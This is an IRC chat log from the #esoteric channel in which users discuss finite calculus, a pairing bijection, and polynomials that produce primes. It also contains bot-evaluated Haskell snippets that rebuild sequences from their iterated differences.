#esoteric :Lets cut out art, gym, health, and science. We can just teach basic arithmetic, reading, writing, with a few word processing programs, and we're good. < 1268596042 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :P.S. Everything seems elitist when you are a fucking moron. < 1268596047 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : % deriv 100x < 1268596047 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :100r10099 < 1268596047 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : %100x < 1268596047 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1r100 < 1268596052 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well using rationals /didn't/ help < 1268596059 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1268596070 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268596101 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: Hey, basic arithmetic is not really required. < 1268596117 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :07:55:26 18:42:59 not that it's comparable to what alise_ wants anyhow... i certainly didn't enter any of it into a proof verifier. < 1268596121 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :07:55:26 Verifier? Why, oerjan, you /start/ with the prover, not /end/ with it! < 1268596131 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that would be a ridiculous way of doing _real_ mathematics < 1268596144 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: you mean the discovery aspect? < 1268596148 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268596152 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well yeah, the idea is < 1268596159 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The only thing I could actually support cutting out from fax's list is art < 1268596209 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :use it to fuck about with stuff -> EUREKA -> try some cases -> write down some things -> prove them bit by bit -> repeat a few dozen times until you get something that works -> check nobody else's done it -> repeat even more -> use the literate programming system to write a paper with it -> publish in Communications of the AliseLang Theorists < 1268596215 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: that good enough for you? :P < 1268596296 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the problem is that the discovery aspect of mathematics happens in my _head_, long before anything is written down. < 1268596312 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :naturally < 1268596322 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the fucking about with stuff is just aimless masturbation in hope of inspiration :P < 1268596456 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :basically i expect (but this is of course prejudice) that the straightjacket required to actually get _anything_ into a prover will ruin the working of intuition. < 1268596487 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :certainly but at some point you have something working and you need to write it down to publish < 1268596504 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you're expected (at least in my fantasy utopia dreamworld) to be quite formal in your notation there < 1268596509 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so why not write it into a computer instead? < 1268596534 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anyway of course we haven't mitigated the straitjacket. yet < 1268596549 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i suppose. i just don't consider that to be anywhere near the _start_ of things. :D < 1268596578 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(see your quote above) < 1268596615 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes, well - for now the mind is the best way to think of stuff < 1268596628 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but I think computers can help right at the point you decide to start testing things and mutating stuff into other stuff < 1268596647 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and then after you dream up the Perfect Generalised Property - a (rather long) break back to the mind - when you start proving shit < 1268596717 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :admittedly i have never dreamt of, or proved, /anything/ nontrivial < 1268596734 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1268596796 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, prove that f(x,y) = (x^2+y^2+x+2xy+3y)/2 is a bijection from N^2 --> N < 1268596827 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(N = {0,1,2,3,...}) < 1268596858 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: in the grand scheme of things, that is also trivial < 1268596893 0 :wareya!~wareya@cpe-74-70-140-214.nycap.res.rr.com JOIN :#esoteric < 1268596910 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :There are no trivial mathematics, only trivial matehmaticians! < 1268596911 0 :wareya!unknown@unknown.invalid NICK :Wareya < 1268596934 0 :Wareya!unknown@unknown.invalid QUIT :Client Quit < 1268596939 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i expect it's the formula for an approach i've already seen, of counting minor diagonals in sequence < 1268596994 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: prove for a,b,c in N+, n in N, n > 0, no valid choices can satisfy a^n + b^n = c^n < 1268596997 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :er < 1268596999 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :n > 2 < 1268597024 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::| < 1268597028 0 :wareya!~wareya@cpe-74-70-140-214.nycap.res.rr.com JOIN :#esoteric < 1268597036 0 :wareya!unknown@unknown.invalid QUIT :Client Quit < 1268597052 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: that is equal to ((x+y)(x+y+1) + 2y)/2 < 1268597072 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or triang(x+y) + y < 1268597091 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Q.E.D., practically < 1268597123 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :THIS IS THE PROBLEM WITH MATHEMATICS < 1268597133 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"blah blah blah reduced form. Q.E.D." < 1268597146 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan fuck how did you possibly get that so fast < 1268597152 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: the reduced form is "obviously" that counting minor diagonals thing < 1268597184 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: he's a mathematician! :p < 1268597188 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: i recognized x^2+y^2+2xy in there < 1268597196 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :very basic formula < 1268597223 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and also i already know triang(n) = n(n+1)/2 < 1268597251 0 :wareya!~wareya@cpe-74-70-140-214.nycap.res.rr.com JOIN :#esoteric < 1268597260 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :by the way it generalizes like C(a+b+c+2,3) + C(b+c+1,2) + C(c,1) I think < 1268597277 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and since i already _knew_ the minor diagonal approach involves a triangle for the previous diagonals, i expected that to be there < 1268597277 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.ruzulu.com/find-name-origin/eliezer-yudkowsky < 1268597284 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So /that's/ the origin of Yudkowsky's name. < 1268597305 0 :wareya!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1268597309 0 :wareya!unknown@unknown.invalid NICK :Wareya < 1268597311 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hi Wareya < 1268597340 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :what's up? < 1268597350 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :something math < 1268597353 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :k < 1268597363 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i've not yet read the logs enough to know how this started < 1268597406 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: but you started it... < 1268597408 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well actually i may have started it < 1268597431 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: i sort of thought you and fax already had a conversation about math mixed into this < 1268597562 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: i assume that first term is counting "pyramids" < 1268597568 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: just about J < 1268597570 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and finite calculus < 1268597572 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1268597611 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so then you would want hyperpyramids next. but that is simple using finite calculus integration iirc < 1268597632 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i guess that's how you found this? < 1268597699 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh my god < 1268597713 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: hm? < 1268597719 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :finite calculus! < 1268597761 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :how are you applying integration here? < 1268597762 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: C(x,n+1) is the integral of C(x,n) < 1268597769 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh my god!!!! < 1268597782 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you mean you didn't know? :D < 1268597785 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this is so awesome :D < 1268597798 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh man I have to proof this using my finite calculus library < 1268597940 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hahaha < 1268597950 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :dammit fax you're giving actual evidence for oerjan's synchronicity < 1268597974 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: you'll need to define integration first mwahaha < 1268597981 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: sheesh that name origin size barfs on the first letter in my name < 1268597987 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I did define integral! < 1268597994 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :And I even proved the Fundamental THeorem < 1268598011 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although it still manages to conclude i'm almost certainly norwegian < 1268598045 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it thinks i may be danish. i expect that is because it doesn't recognize my first name < 1268598138 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION checks out alise's name
< 1268598148 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :english did come up on top, barely < 1268598156 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268598167 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: where did you define integral < 1268598177 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: That site concludes that I am English. < 1268598184 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh you did. < 1268598520 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what is oerjan's synchronicity? < 1268598566 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan believes in synchronicity < 1268598599 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :me too < 1268598600 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what is it? < 1268598607 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1268598621 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`google synchronicity < 1268598633 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :fungot, synchronicity? < 1268598634 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :fax: maybe you shouldn't have mentioned your win by paradox in philosophy? bah, humbug :) don't have that < 1268598643 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Synchronicity is the experience of two or more events that are apparently causally unrelated occurring together in a meaningful manner. ... \ [14]Description - [15]Examples - [16]Criticisms and possible ... < 1268598714 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hmmmm < 1268598717 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :so if F is the integral of f < 1268598753 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :F = integral of f from 0 to n... < 1268598767 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :then F(x+1) > F(x) + f(y) < 1268598774 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it may of course be easier to prove directly that C(x,n) is the derivative of C(x,n+1) < 1268598783 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ugh I can't this right < 1268598795 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the point is that we have T(x) + y < 1268598801 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and T is the integral of \y.y < 1268598821 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :?hm < 1268598952 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :F(x+1) = F(x) + f(x), isn't it? i guess there is an off-by-one choice of where you start things < 1268599002 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ooh < 1268599006 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that's right! < 1268599015 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes so we have to actually prove that f is positive < 1268599026 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(but that's trivial) < 1268599065 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um what are you trying to prove that requires positivity? < 1268599083 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :F is bijective < 1268599096 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268599105 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um you mean injective? < 1268599131 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1268599859 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this is so nice < 1268599876 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :<3 finite calculus < 1268599881 0 :alise!unknown@unknown.invalid QUIT : < 1268600831 0 :Oranjer!unknown@unknown.invalid QUIT :Quit: Leaving. < 1268600923 0 :hiato!unknown@unknown.invalid QUIT :Quit: underflow < 1268601333 0 :adam_d!~Adam@cpc2-acto6-0-0-cust48.brnt.cable.ntl.com JOIN :#esoteric < 1268601678 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268602147 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell take 50 . map head . foldr (scanl (+)) undefined $ 0:1:2:repeat 0 < 1268602172 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :grmbl < 1268602192 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :`daskelab < 1268602193 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1268602206 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell main = print . take 50 . map head . foldr (scanl (+)) undefined $ 0:1:2:repeat 0 < 1268602330 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell main = print . take 50 . map head . foldr (scanl (+)) undefined $ (0::Integer):1:2:repeat 0 < 1268602441 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268602455 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell main = print . take 50 . foldr (scanl (+)) undefined $ 0:1:2:repeat 0 < 1268602457 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :[0,1,4,9,16,25,36,49,64,81,100,121,144,169,196,225,256,289,324,361,400,441,484,529,576,625,676,729,784,841,900,961,1024,1089,1156,1225,1296,1369,1444,1521,1600,1681,1764,1849,1936,2025,2116,2209,2304,2401] < 1268602546 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that looks square < 1268602550 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it is < 1268602603 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's reconstructing x^2 from its iterated differences < 1268602613 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(at 0) < 1268602720 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Hmmmm < 1268602723 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this is finite calculus < 1268602725 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :? < 1268602735 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell comb m n = product [m, m-1 .. m-n+1] `div` product [1..n]; main = print . take 50 $ [comb n 1 ++ 2*comb n 2 | n <- [0..]] < 1268602738 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1268602746 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :dammit another type error < 1268602749 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan are you just making this up or is it from something? < 1268602765 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i'm recalling it < 1268602774 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :there was some playing around on #haskell < 1268602779 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :long ago < 1268602834 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell comb m n = product [m, m-1 .. m-n+1] `div` product [1..n]; main = print [comb n 1 ++ 2*comb n 2 | n <- [0..49]] < 1268602861 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*facepalm* < 1268602865 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell comb m n = product [m, m-1 .. m-n+1] `div` product [1..n]; main = print [comb n 1 + 2*comb n 2 | n <- [0..49]] < 1268602868 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :[0,1,4,9,16,25,36,49,64,81,100,121,144,169,196,225,256,289,324,361,400,441,484,529,576,625,676,729,784,841,900,961,1024,1089,1156,1225,1296,1369,1444,1521,1600,1681,1764,1849,1936,2025,2116,2209,2304,2401] < 1268602892 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :there you go, so you can also use the combinator function for the same < 1268602912 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268602921 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :#haskell knows about finnite calculus??? < 1268602958 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :basically comb x n has all the iterated differences at 0 = 0 except then nth, which is 1 < 1268602984 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so given those for any other polynomial, you can just combine linearly < 1268602988 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*the nth < 1268602997 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: well some people there do... < 1268603037 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :except this rewriting with comb was not from there, just something i recalled from elsewhere < 1268603057 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :mm < 1268603065 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but taking iterated differences and building them back up was done in #haskell once < 1268603105 0 :fungot!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268603117 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hey guys < 1268603255 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell comb m n = product [m, m-1 .. m-n+1] `div` product [1..n]; diff l = zipWith (-) (tail l) l; diffs = map head . takeWhile (not null) . iterate diff; main = print . take 50 . diffs $ [comb n 3 | n <- [0..]] < 1268603281 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i cannot get a single one typed right on first try :( < 1268603296 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell comb m n = product [m, m-1 .. m-n+1] `div` product [1..n]; diff l = zipWith (-) (tail l) l; diffs = map head . takeWhile (not . null) . iterate diff; main = print . take 50 . diffs $ [comb n 3 | n <- [0..]] < 1268603298 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :[0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] < 1268603316 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why is that 1 there? < 1268603324 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :magic < 1268603326 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :fax! < 1268603329 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hi augur! < 1268603340 0 :fizzie!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268603346 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hows it going faxies < 1268603353 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :im watching twin peaks < 1268603356 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: because comb 0 3 = 0, comb 0 2 = 0, comb 0 1 = 0 but comb 0 0 = 1 < 1268603366 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :twin peaks huh < 1268603367 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :isn't it comb 3 3 = 1? < 1268603370 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268603561 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so fax, ive been thinking < 1268603569 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell comb m n = product [m, m-1 .. m-n+1] `div` product [1..n]; diff l = zipWith (-) (tail l) l; diffs = map head . takeWhile (not . null) . iterate diff; rebuild l = foldr (scanl (+)) undefined (l++repeat 0); main = print . take 50 . rebuild . diffs $ [0,1,4] < 1268603572 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :[0,1,4,9,16,25,36,49,64,81,100,121,144,169,196,225,256,289,324,361,400,441,484,529,576,625,676,729,784,841,900,961,1024,1089,1156,1225,1296,1369,1444,1521,1600,1681,1764,1849,1936,2025,2116,2209,2304,2401] < 1268603576 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i think there's an interesting class of formal languages worth investigating < 1268603585 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes the linear time parsible ones? < 1268603594 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :indeed < 1268603596 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but more importantly < 1268603604 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: see you can use it to guess which polynomial you have from the first few terms < 1268603628 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, wait it figures out a polynomial from a finte portion of the sequence? < 1268603632 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the ones that are transparently representable in simple linear format < 1268603634 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: yep < 1268603646 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :as long as you have more terms than the degree of the polynomial, it works < 1268603662 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :!haskell comb m n = product [m, m-1 .. m-n+1] `div` product [1..n]; diff l = zipWith (-) (tail l) l; diffs = map head . takeWhile (not . null) . iterate diff; rebuild l = foldr (scanl (+)) undefined (l++repeat 0); main = print . take 50 . rebuild . diffs $ < 1268603670 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :rebuild could also be written using comb, naturally < 1268603674 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :!haskell comb m n = product [m, m-1 .. m-n+1] `div` product [1..n]; diff l = zipWith (-) (tail l) l; diffs = map head . takeWhile (not . null) . iterate diff; rebuild l = foldr (scanl (+)) undefined (l++repeat 0); main = print . take 50 . rebuild . diffs $ [2,3,5,7,11,13,17] < 1268603677 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :[2,3,5,7,11,13,17,72,332,1139,3129,7361,15469,29837,53797,91850,149910,235571,358397,530235,765551,1081789,1499753,2044012,2743328,3631107,4745873,6131765,7839057,9924701,12452893,15495662,19133482,23455907,28562229,34562159,41576531,49738029,59191937,70096912,82625780,96966355,113322281,131913897,152979125,176774381,203575509,233678738,267401662,305084243] < 1268603685 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1268603686 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :72 isn't prime :| < 1268603696 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :indeed < 1268603709 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and it is well known that no polynomial can give only primes < 1268603726 0 :fizzie!fis@iris.zem.fi JOIN :#esoteric < 1268603755 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, even if you count -2, -3 etc as primes -- but I don't know how to prove it < 1268603756 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ok brb < 1268603775 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that is presumably the sixth degree polynomial that starts with the given primes first < 1268603805 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :there IS a polynomial which gives the set of primes + a bunch of random negative integers < 1268603826 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah. it is not a polynomial in one variable, though, iirc. < 1268603853 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :there is a proof in my book (about the not giving only primes thing) but I have been trying to figure it out myself < 1268603871 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ok i'll not think about it then :) < 1268603889 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you wont?? < 1268603896 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1268603901 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well not aloud anyway < 1268603908 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh feel free :) < 1268603916 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I have been on it two days and not got it < 1268603919 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's actually quite trivial < 1268603958 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if p(x) = a_n*x^n + a_(n-1)*x^(n-1) + ... + a_1*x + a_0 is your polynomial < 1268604000 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm wait < 1268604024 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :choosing x a product of a_0 isn't quite guaranteed < 1268604064 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh, except if it's _large_ enough, it has to be different from a_0 itself < 1268604085 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so that shows it < 1268604101 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if a_0 is 0, just choose x to be any non-prime < 1268604118 0 :augur!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268604207 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION doesn't undersatnd :/
< 1268604215 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :as x -> infinity, so does the polynomial < 1268604215 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but it's meant to be for multivariate ones too < 1268604219 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268604233 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but there are infinite primes < 1268604241 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well i'm not sure of that proof < 1268604278 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: if you choose x divisible by a_0, then p(x) is divisible by a_0, so not a prime unless it is equal to a_0. if x is large enough that cannot happen. < 1268604290 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :when I give up on proofs they are always SO OBVIOUS it makes me annoyed < 1268604318 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, oh that is clever! < 1268604333 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1268604341 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i would guess something similar works for multivariate polynomials too, they can still have only one constant term after all < 1268604359 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but I don't really understand it < 1268604379 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(choose _all_ the variables divisible by the constant term) < 1268604381 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :because there is a (26 variable) polynomial whos positive values are all primes < 1268604404 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: yeah but i've not proved that p(x) cannot be negative < 1268604427 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :only that it cannot be a positive prime < 1268604465 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :;S < 1268604475 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :huh? < 1268604482 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :p(x) can be prime < 1268604494 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*cannot always < 1268604522 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but oerjan doesn't that contradict the 26-var polynomial? < 1268604586 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the thing is you can have negative coefficents too < 1268604588 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no! if you choose all variables divisible by the constant term, you probably force the polynomial to be negative < 1268604598 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :mm < 1268604646 0 :songhead95!~jay@c-71-232-230-180.hsd1.ma.comcast.net JOIN :#esoteric < 1268604677 0 :augur!unknown@unknown.invalid QUIT :Quit: Leaving... < 1268604691 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :Hello, if I knew a better place to discuss this I would, but this seems like a good place. < 1268604701 0 :songhead95!unknown@unknown.invalid 